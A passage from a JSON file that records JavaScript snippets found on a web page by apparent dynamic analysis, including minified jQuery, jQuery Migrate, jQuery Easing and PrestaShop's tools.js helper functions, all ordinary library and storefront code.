a||dd})}}),n.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return W(this,function(a,d,e){var f=ed(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),n.each([\"top\",\"left\"],function(a,b){n.cssHooks[b]=Mb(l.pixelPosition,function(a,c){return c?(c=Kb(a,b),Ib.test(c)?n(a).position()[b]+\"px\":c):void 0})}),n.each({Height:\"height\",Width:\"width\"},function(a,b){n.each({padding:\"inner\"+a,content:b,\"\":\"outer\"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||\"boolean\"!=typeof d),g=c||(d===!0||e===!0?\"margin\":\"border\");return W(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement[\"client\"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body[\"scroll\"+a],e[\"scroll\"+a],b.body[\"offset\"+a],e[\"offset\"+a],e[\"client\"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return n});var fd=a.jQuery,gd=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=gd),b&&a.jQuery===n&&(a.jQuery=fd),n},typeof b===L&&(a.jQuery=a.$=n),n});",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn(\"JQMIGRATE: \"+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log(\"JQMIGRATE: Logging is active\"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},\"BackCompat\"===document.compatMode&&r(\"jQuery is not compatible with Quirks Mode\");var o=e(\"<input/>\",{size:1}).attr(\"size\")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,\"attrFn\",o||{},\"jQuery.attrFn is deprecated\"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r(\"jQuery.fn.attr( props, pass ) is deprecated\"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):(\"type\"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r(\"Can't change the 'type' of an input or button in IE 6/7/8\"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!0||\"boolean\"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function(t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase())),r}},f.test(c)&&r(\"jQuery.fn.attr('\"+c+\"') may use property instead of attribute\")),s.call(e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||\"\").toLowerCase();return\"button\"===n?u.apply(this,arguments):(\"input\"!==n&&\"option\"!==n&&r(\"jQuery.fn.attr('value') no longer gets properties\"),t in e?e.value:null)},set:function(e,t){var a=(e.nodeName||\"\").toLowerCase();return\"button\"===a?c.apply(this,arguments):(\"input\"!==a&&\"option\"!==a&&r(\"jQuery.fn.attr('value', val) no longer sets properties\"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\\w\\W]+>)([^>]*)$/;e.fn.init=function(t,n,a){var i;return t&&\"string\"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))&&i[0]&&(\"<\"!==t.charAt(0)&&r(\"$(html) HTML strings must start with '<' character\"),i[3]&&r(\"$(html) HTML text after last tag is ignored\"),\"#\"===i[0].charAt(0)&&(r(\"HTML string cannot start with a '#' character\"),e.error(\"JQMIGRATE: Invalid selector string (XSS)\")),n&&n.context&&(n=n.context),e.parseHTML)?v.call(this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?m.apply(this,arguments):(r(\"jQuery.parseJSON requires a valid JSON string\"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \\/]([\\w.]+)/.exec(e)||/(webkit)[ \\/]([\\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \\/]([\\w.]+)/.exec(e)||/(msie) ([\\w.]+)/.exec(e)||0>e.indexOf(\"compatible\")&&/(mozilla)(?:.*? rv:([\\w.]+)|)/.exec(e)||[];return{browser:t[1]||\"\",version:t[2]||\"0\"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!0,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a(e,\"browser\",e.browser,\"jQuery.browser is deprecated\"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r(\"jQuery.sub() is deprecated\"),t},e.ajaxSetup({converters:{\"text json\":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var a,i,o=this[0];return!o||\"events\"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||i===n)?b.apply(this,arguments):(r(\"Use of jQuery.fn.data('events') is deprecated\"),i)};var j=/\\/(java|ecma)script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r(\"jQuery.fn.andSelf() replaced by jQuery.fn.addBack()\"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!a.nodeType&&a[0]||a,a=a.ownerDocument||a,r(\"jQuery.clean() is deprecated\");var s,u,c,l,d=[];if(e.merge(d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push(e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName(u,\"script\")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge([],u.getElementsByTagName(\"script\")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S=\"ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess\",C=RegExp(\"\\\\b(?:\"+S+\")\\\\b\"),H=/(?:^|\\s)hover(\\.\\S+|)\\b/,A=function(t){return\"string\"!=typeof t||e.event.special.hover?t:(H.test(t)&&r(\"'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'\"),t&&t.replace(H,\"mouseenter$1 mouseleave$1\"))};e.event.props&&\"attrChange\"!==e.event.props[0]&&e.event.props.unshift(\"attrChange\",\"attrName\",\"relatedNode\",\"srcElement\"),e.event.dispatch&&a(e.event,\"handle\",e.event.dispatch,\"jQuery.event.handle is undocumented and deprecated\"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r(\"AJAX events should be attached to document: \"+t),Q.call(this,e,A(t||\"\"),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A(t)||\"\",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r(\"jQuery.fn.error() is deprecated\"),e.splice(0,0,\"error\"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r(\"jQuery.fn.toggle(handler, handler...) is deprecated\");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n){var r=(e._data(this,\"lastToggle\"+t.guid)||0)%o;return e._data(this,\"lastToggle\"+t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r(\"jQuery.fn.live() is deprecated\"),T?T.apply(this,arguments):(e(this.context).on(t,this.selector,n,a),this)},e.fn.die=function(t,n){return r(\"jQuery.fn.die() is deprecated\"),M?M.apply(this,arguments):(e(this.context).off(t,this.selector||\"**\",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r(\"Global events are undocumented and deprecated\"),k.call(this,e,t,n||document,a)},e.each(S.split(\"|\"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+\".\"+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+\".\"+e._data(this,n)),!1}}})}(jQuery,window);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built In easIng capabilities added In jQuery 1.1 * to offer multiple easIng options * * Copyright (c) 2007 George Smith * Licensed under the MIT License: * http://www.opensource.org/licenses/mit-license.php */// t: current time, b: begInnIng value, c: change In value, d: durationjQuery.easing['jswing'] = jQuery.easing['swing'];jQuery.extend( jQuery.easing,{\tdef: 'easeOutQuad',\tswing: function (x, t, b, c, d) {\t\t//alert(jQuery.easing.default);\t\treturn jQuery.easing[jQuery.easing.def](x, t, b, c, d);\t},\teaseInQuad: function (x, t, b, c, d) {\t\treturn c*(t/=d)*t + b;\t},\teaseOutQuad: function (x, t, b, c, d) {\t\treturn -c *(t/=d)*(t-2) + b;\t},\teaseInOutQuad: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return c/2*t*t + b;\t\treturn -c/2 * ((--t)*(t-2) - 1) + b;\t},\teaseInCubic: function (x, t, b, c, d) {\t\treturn c*(t/=d)*t*t + b;\t},\teaseOutCubic: function (x, t, b, c, d) {\t\treturn c*((t=t/d-1)*t*t + 1) + b;\t},\teaseInOutCubic: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return c/2*t*t*t + b;\t\treturn c/2*((t-=2)*t*t + 2) + b;\t},\teaseInQuart: function (x, t, b, c, d) {\t\treturn c*(t/=d)*t*t*t + b;\t},\teaseOutQuart: function (x, t, b, c, d) {\t\treturn -c * ((t=t/d-1)*t*t*t - 1) + b;\t},\teaseInOutQuart: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return c/2*t*t*t*t + b;\t\treturn -c/2 * ((t-=2)*t*t*t - 2) + b;\t},\teaseInQuint: function (x, t, b, c, d) {\t\treturn c*(t/=d)*t*t*t*t + b;\t},\teaseOutQuint: function (x, t, b, c, d) {\t\treturn c*((t=t/d-1)*t*t*t*t + 1) + b;\t},\teaseInOutQuint: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;\t\treturn c/2*((t-=2)*t*t*t*t + 2) + b;\t},\teaseInSine: function (x, t, b, c, d) {\t\treturn -c * Math.cos(t/d * (Math.PI/2)) + c + b;\t},\teaseOutSine: function (x, t, b, c, d) {\t\treturn c * Math.sin(t/d * (Math.PI/2)) + b;\t},\teaseInOutSine: function (x, t, b, c, d) {\t\treturn -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;\t},\teaseInExpo: function (x, t, b, c, d) {\t\treturn (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;\t},\teaseOutExpo: function (x, t, b, c, d) {\t\treturn (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;\t},\teaseInOutExpo: function (x, t, b, c, d) {\t\tif (t==0) return b;\t\tif (t==d) return b+c;\t\tif ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;\t\treturn c/2 * (-Math.pow(2, -10 * --t) + 2) + b;\t},\teaseInCirc: function (x, t, b, c, d) {\t\treturn -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;\t},\teaseOutCirc: function (x, t, b, c, d) {\t\treturn c * Math.sqrt(1 - (t=t/d-1)*t) + b;\t},\teaseInOutCirc: function (x, t, b, c, d) {\t\tif ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;\t\treturn c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;\t},\teaseInElastic: function (x, t, b, c, d) {\t\tvar s=1.70158;var p=0;var a=c;\t\tif (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;\t\tif (a < Math.abs(c)) { a=c; var s=p/4; }\t\telse var s = p/(2*Math.PI) * Math.asin (c/a);\t\treturn -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;\t},\teaseOutElastic: function (x, t, b, c, d) {\t\tvar s=1.70158;var p=0;var a=c;\t\tif (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;\t\tif (a < Math.abs(c)) { a=c; var s=p/4; }\t\telse var s = p/(2*Math.PI) * Math.asin (c/a);\t\treturn a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;\t},\teaseInOutElastic: function (x, t, b, c, d) {\t\tvar s=1.70158;var p=0;var a=c;\t\tif (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);\t\tif (a < Math.abs(c)) { a=c; var s=p/4; }\t\telse var s = p/(2*Math.PI) * Math.asin (c/a);\t\tif (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;\t\treturn a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;\t},\teaseInBack: function (x, t, b, c, d, s) {\t\tif (s == undefined) s = 1.70158;\t\treturn c*(t/=d)*t*((s+1)*t - s) + b;\t},\teaseOutBack: function (x, t, b, c, d, s) {\t\tif (s == undefined) s = 1.70158;\t\treturn c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;\t},\teaseInOutBack: function (x, t, b, c, d, s) {\t\tif (s == undefined) s = 1.70158; \t\tif ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;\t\treturn c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;\t},\teaseInBounce: function (x, t, b, c, d) {\t\treturn c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;\t},\teaseOutBounce: function (x, t, b, c, d) {\t\tif ((t/=d) < (1/2.75)) {\t\t\treturn c*(7.5625*t*t) + b;\t\t} else if (t < (2/2.75)) {\t\t\treturn c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;\t\t} else if (t < (2.5/2.75)) {\t\t\treturn c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;\t\t} else {\t\t\treturn c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;\t\t}\t},\teaseInOutBounce: function (x, t, b, c, d) {\t\tif (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;\t\treturn jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;\t}});",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Open Software License (OSL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/osl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)* International Registered Trademark & Property of PrestaShop SA*/function formatedNumberToFloat(price, currencyFormat, currencySign){\tprice = price.replace(currencySign, '');\tif (currencyFormat === 1)\t\treturn parseFloat(price.replace(',', '').replace(' ', ''));\telse if (currencyFormat === 2)\t\treturn parseFloat(price.replace(' ', '').replace(',', '.'));\telse if (currencyFormat === 3)\t\treturn parseFloat(price.replace('.', '').replace(' ', '').replace(',', '.'));\telse if (currencyFormat === 4)\t\treturn parseFloat(price.replace(',', '').replace(' ', ''));\treturn price;}//return a formatted numberfunction formatNumber(value, numberOfDecimal, thousenSeparator, virgule){\tvalue = value.toFixed(numberOfDecimal);\tvar val_string = value+'';\tvar tmp = val_string.split('.');\tvar abs_val_string = (tmp.length === 2) ? tmp[0] : val_string;\tvar deci_string = ('0.' + (tmp.length === 2 ? tmp[1] : 0)).substr(2);\tvar nb = abs_val_string.length;\tfor (var i = 1 ; i < 4; i++)\t\tif (value >= Math.pow(10, (3 * i)))\t\t\tabs_val_string = abs_val_string.substring(0, nb - (3 * i)) + thousenSeparator + abs_val_string.substring(nb - (3 * i));\tif (parseInt(numberOfDecimal) === 0)\t\treturn abs_val_string;\treturn abs_val_string + virgule + (deci_string > 0 ? deci_string : '00');}function formatCurrency(price, currencyFormat, currencySign, currencyBlank){\t// if you modified this function, don't forget to modify the PHP function displayPrice (in the Tools.php class)\tvar blank = '';\tprice = parseFloat(price.toFixed(10));\tprice = ps_round(price, priceDisplayPrecision);\tif (currencyBlank > 0)\t\tblank = ' ';\tif (currencyFormat == 1)\t\treturn currencySign + blank + formatNumber(price, priceDisplayPrecision, ',', '.');\tif (currencyFormat == 2)\t\treturn (formatNumber(price, priceDisplayPrecision, ' ', ',') + blank + currencySign);\tif (currencyFormat == 3)\t\treturn (currencySign + blank + formatNumber(price, priceDisplayPrecision, '.', ','));\tif (currencyFormat == 4)\t\treturn (formatNumber(price, priceDisplayPrecision, ',', '.') + blank + currencySign);\tif (currencyFormat == 5)\t\treturn (currencySign + blank + formatNumber(price, priceDisplayPrecision, '\\'', '.'));\treturn price;}function ps_round_helper(value, mode){\t// From PHP Math.c\tif (value >= 0.0)\t{\t\ttmp_value = Math.floor(value + 0.5);\t\tif ((mode == 3 && value == (-0.5 + tmp_value)) ||\t\t\t(mode == 4 && value == (0.5 + 2 * Math.floor(tmp_value / 2.0))) ||\t\t\t(mode == 5 && value == (0.5 + 2 * Math.floor(tmp_value / 2.0) - 1.0)))\t\t\ttmp_value -= 1.0;\t}\telse\t{\t\ttmp_value = Math.ceil(value - 0.5);\t\tif ((mode == 3 && value == (0.5 + tmp_value)) ||\t\t\t(mode == 4 && value == (-0.5 + 2 * Math.ceil(tmp_value / 2.0))) ||\t\t\t(mode == 5 && value == (-0.5 + 2 * Math.ceil(tmp_value / 2.0) + 1.0)))\t\t\ttmp_value += 1.0;\t}\treturn tmp_value;}function ps_log10(value){\treturn Math.log(value) / Math.LN10;}function ps_round_half_up(value, precision){\tvar mul = Math.pow(10, precision);\tvar val = value * mul;\tvar next_digit = Math.floor(val * 10) - 10 * Math.floor(val);\tif (next_digit >= 5)\t\tval = Math.ceil(val);\telse\t\tval = Math.floor(val);\treturn val / mul;}function ps_round(value, places){\tif (typeof(roundMode) === 'undefined')\t\troundMode = 2;\tif (typeof(places) === 'undefined')\t\tplaces = 2;\tvar method = roundMode;\tif (method === 0)\t\treturn ceilf(value, places);\telse if (method === 1)\t\treturn floorf(value, places);\telse if (method === 2)\t\treturn ps_round_half_up(value, places);\telse if (method == 3 || method == 4 || method == 5)\t{\t\t// From PHP Math.c\t\tvar precision_places = 14 - Math.floor(ps_log10(Math.abs(value)));\t\tvar f1 = Math.pow(10, Math.abs(places));\t\tif (precision_places > places && precision_places - places < 15)\t\t{\t\t\tvar f2 = Math.pow(10, Math.abs(precision_places));\t\t\tif (precision_places >= 0)\t\t\t\ttmp_value = value * f2;\t\t\telse\t\t\t\ttmp_value = value / f2;\t\t\ttmp_value = ps_round_helper(tmp_value, roundMode);\t\t\t/* now correctly move the decimal point */\t\t\tf2 = Math.pow(10, Math.abs(places - precision_places));\t\t\t/* because places < precision_places */\t\t\ttmp_value /= f2;\t\t}\t\telse\t\t{\t\t\t/* adjust the value */\t\t\tif (places >= 0)\t\t\t\ttmp_value = value * f1;\t\t\telse\t\t\t\ttmp_value = value / f1;\t\t\tif (Math.abs(tmp_value) >= 1e15)\t\t\t\treturn value;\t\t}\t\ttmp_value = ps_round_helper(tmp_value, roundMode);\t\tif (places > 0)\t\t\ttmp_value = tmp_value / f1;\t\telse\t\t\ttmp_value = tmp_value * f1;\t\treturn tmp_value;\t}}function autoUrl(name, dest){\tvar loc;\tvar id_list;\tid_list = document.getElementById(name);\tloc = id_list.options[id_list.selectedIndex].value;\tif (loc != 0)\t\tlocation.href = dest+loc;\treturn ;}function autoUrlNoList(name, dest){\tvar loc;\tloc = document.getElementById(name).checked;\tlocation.href = dest + (loc == true ? 1 : 0);\treturn ;}/*** show or hide element e depending on condition show*/function toggle(e, show){\te.style.display = show ? '' : 'none';}function toggleMultiple(tab){ var len = tab.length; for (var i = 0; i < len; i++) if (tab[i].style) toggle(tab[i], tab[i].style.display == 'none');}/*** Show dynamicaly an element by changing the sytle \"display\" property* depending on the option selected in a select.** @param string $select_id id of the select who controls the display* @param string $elem_id prefix id of the elements controlled by the select* the real id must be : 'elem_id'+nb with nb the corresponding number in the* select (starting with 0).*/function showElemFromSelect(select_id, elem_id){\tvar select = document.getElementById(select_id);\tfor (var i = 0; i < select.length; ++i)\t{\t var elem = document.getElementById(elem_id + select.options[i].value);\t\tif (elem != null)\t\t\ttoggle(elem, i == select.selectedIndex);\t}}/*** Get all div with specified name and for each one (by id), toggle their visibility*/function openCloseAllDiv(name, option){\tvar tab = $('*[name='+name+']');\tfor (var i = 0; i < tab.length; ++i)\t\ttoggle(tab[i], option);}function toggleDiv(name, option){\t$('*[name='+name+']').each(function(){\t\tif (option == 'open')\t\t{\t\t\t$('#buttonall').data('status', 'close');\t\t\t$(this).hide();\t\t}\t\telse\t\t{\t\t\t$('#buttonall').data('status', 'open');\t\t\t$(this).show();\t\t}\t})}function toggleButtonValue(id_button, text1, text2){\tif ($('#'+id_button).find('i').first().hasClass('process-icon-compress'))\t{\t\t$('#'+id_button).find('i').first().removeClass('process-icon-compress').addClass('process-icon-expand');\t\t$('#'+id_button).find('span').first().html(text1);\t}\telse\t{\t\t$('#'+id_button).find('i').first().removeClass('process-icon-expand').addClass('process-icon-compress');\t\t$('#'+id_button).find('span').first().html(text2);\t}}/*** Toggle the value of the element id_button between text1 and text2*/function toggleElemValue(id_button, text1, text2){\tvar obj = document.getElementById(id_button);\tif (obj)\t\tobj.value = ((!obj.value || obj.value == text2) ? text1 : text2);}function addBookmark(url, title){\tif (window.sidebar && window.sidebar.addPanel)\t\treturn window.sidebar.addPanel(title, url, \"\");\telse if ( window.external && ('AddFavorite' in window.external))\t\treturn window.external.AddFavorite( url, title);}function writeBookmarkLink(url, title, text, img){\tvar insert = '';\tif (img)\t\tinsert = writeBookmarkLinkObject(url, title, '<img src=\"' + img + '\" alt=\"' + escape(text) + '\" title=\"' + removeQuotes(text) + '\" />') + '&nbsp';\tinsert += writeBookmarkLinkObject(url, title, text);\tif (window.sidebar || window.opera && window.print || (window.external && ('AddFavorite' in window.external)))\t\t$('.add_bookmark, #header_link_bookmark').append(insert);}function writeBookmarkLinkObject(url, title, insert){\tif (window.sidebar || window.external)\t\treturn ('<a href=\"javascript:addBookmark(\\'' + escape(url) + '\\', \\'' + removeQuotes(title) + '\\')\">' + insert + '</a>');\telse if (window.opera && window.print)\t\treturn ('<a rel=\"sidebar\" href=\"' + escape(url) + '\" title=\"' + removeQuotes(title) + '\">' + insert + '</a>');\treturn ('');}function checkCustomizations(){\tvar pattern = new RegExp(' ?filled ?');\tif (typeof customizationFields != 'undefined')\t\tfor (var i = 0; i < customizationFields.length; i++)\t\t{\t\t\t/* If the field is required and empty then we abort */\t\t\tif (parseInt(customizationFields[i][1]) == 1 && ($('#' + customizationFields[i][0]).html() == '' || $('#' + customizationFields[i][0]).text() != $('#' + customizationFields[i][0]).val()) && !pattern.test($('#' + customizationFields[i][0]).attr('class')))\t\t\t\treturn false;\t\t}\treturn true;}function emptyCustomizations(){\tcustomizationId = null;\tif(typeof(customizationFields) == 'undefined') return;\t$('.customization_block .success').fadeOut(function(){\t\t$(this).remove();\t});\t$('.customization_block .error').fadeOut(function(){\t\t$(this).remove();\t});\tfor (var i = 0; i < customizationFields.length; i++)\t{\t\t$('#' + customizationFields[i][0]).html('');\t\t$('#' + customizationFields[i][0]).val('');\t}}function ceilf(value, precision){\tif (typeof(precision) === 'undefined')\t\tprecision = 0;\tvar precisionFactor = precision === 0 ? 1 : Math.pow(10, precision);\tvar tmp = value * precisionFactor;\tvar tmp2 = tmp.toString();\tif (tmp2[tmp2.length - 1] === 0)\t\treturn value;\treturn Math.ceil(value * precisionFactor) / precisionFactor;}function floorf(value, precision){\tif (typeof(precision) === 'undefined')\t\tprecision = 0;\tvar precisionFactor = precision === 0 ? 1 : Math.pow(10, precision);\tvar tmp = value * precisionFactor;\tvar tmp2 = tmp.toString();\tif (tmp2[tmp2.length - 1] === 0)\t\treturn value;\treturn Math.floor(value * precisionFactor) / precisionFactor;}function setCurrency(id_currency){\t$.ajax({\t\ttype: 'POST',\t\theaders: { \"cache-control\": \"no-cache\" },\t\turl: baseDir + 'index.php' + '?rand=' + new Date().getTime(),\t\tdata: 'controller=change-currency&id_currency='+ parseInt(id_currency),\t\tsuccess: function(msg)\t\t{\t\t\tlocation.reload(true);\t\t}\t});}function isArrowKey(k_ev){\tvar unicode=k_ev.keyCode? k_ev.keyCode : k_ev.charCode;\tif (unicode >= 37 && unicode <= 40)\t\treturn true;\treturn false;}function removeQuotes(value){\tvalue = value.replace(/\\\\\"/g, '');\tvalue = value.replace(/\"/g, '');\tvalue = value.replace(/\\\\'/g, '');\tvalue = value.replace(/'/g, '');\treturn value;}function sprintf(format){\tfor(var i=1; i < arguments.length; i++)\t\tformat = format.replace(/%s/, arguments[i]);\treturn format;}/** * Display a MessageBox * @param {string} msg * @param {string} title (optional) */function fancyMsgBox(msg, title){ if (title) msg = \"<h2>\" + title + \"</h2><p>\" + msg + \"</p>\"; msg += \"<br/><p class=\\\"submit\\\" style=\\\"text-align:right; padding-bottom: 0\\\"><input class=\\\"button\\\" type=\\\"button\\\" value=\\\"OK\\\" onclick=\\\"$.fancybox.close();\\\" /></p>\";\tif(!!$.prototype.fancybox) \t$.fancybox( msg, {'autoDimensions': false, 'autoSize': false, 'width': 500, 'height': 'auto', 'openEffect': 'none', 'closeEffect': 'none'} );}/** * Display a messageDialog with different buttons including a callback for each one * @param {string} question * @param {mixed} title Optional title for the dialog box. Send false if you don't want any title * @param {object} buttons Associative array containg a list of {buttonCaption: callbackFunctionName, ...}. Use an empty space instead of function name for no callback * @param {mixed} otherParams Optional data sent to the callback function */function fancyChooseBox(question, title, buttons, otherParams){ var msg, funcName, action;\tmsg = ''; if (title)\t\tmsg = \"<h2>\" + title + \"</h2><p>\" + question + \"</p>\"; msg += \"<br/><p class=\\\"submit\\\" style=\\\"text-align:right; padding-bottom: 0\\\">\"; var i = 0; for (var caption in buttons) { if (!buttons.hasOwnProperty(caption)) continue; funcName = buttons[caption]; if (typeof otherParams == 'undefined') otherParams = 0; otherParams = escape(JSON.stringify(otherParams)); action = funcName ? \"$.fancybox.close();window['\" + funcName + \"'](JSON.parse(unescape('\" + otherParams + \"')), \" + i + \")\" : \"$.fancybox.close()\";\t msg += '<button type=\"submit\" class=\"button btn-default button-medium\" style=\"margin-right: 5px;\" value=\"true\" onclick=\"' + action + '\" >';\t msg += '<span>' + caption + '</span></button>' i++; } msg += \"</p>\";\tif(!!$.prototype.fancybox) \t$.fancybox(msg, {'autoDimensions': false, 'width': 500, 'height': 'auto', 'openEffect': 'none', 'closeEffect': 'none'});}function toggleLayer(whichLayer, flag){\tif (!flag)\t\t$(whichLayer).hide();\telse\t\t$(whichLayer).show();}function openCloseLayer(whichLayer, action){\tif (!action)\t{\t\tif ($(whichLayer).css('display') == 'none')\t\t\t$(whichLayer).show();\t\telse\t\t\t$(whichLayer).hide();\t}\telse if (action == 'open')\t\t$(whichLayer).show();\telse if (action == 'close')\t\t$(whichLayer).hide();}function updateTextWithEffect(jQueryElement, text, velocity, effect1, effect2, newClass){\tif(jQueryElement.text() !== text)\t{\t\tif(effect1 === 'fade')\t\t\tjQueryElement.fadeOut(velocity, function(){\t\t\t\t$(this).addClass(newClass);\t\t\t\tif(effect2 === 'fade') $(this).text(text).fadeIn(velocity);\t\t\t\telse if(effect2 === 'slide') $(this).text(text).slideDown(velocity);\t\t\t\t\telse if(effect2 === 'show')\t$(this).text(text).show(velocity, 